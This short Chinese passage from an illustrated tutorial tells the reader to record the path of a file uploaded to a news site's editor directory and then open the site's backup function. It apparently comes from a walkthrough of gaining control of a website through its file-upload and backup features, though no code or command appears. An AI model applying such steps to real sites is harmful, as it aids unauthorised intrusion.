&nbsp;&nbsp;然后记下这一路径:/news/edit/uploadfile/2007213131454997.zip
&nbsp;&nbsp;再打开备份,如图9所示: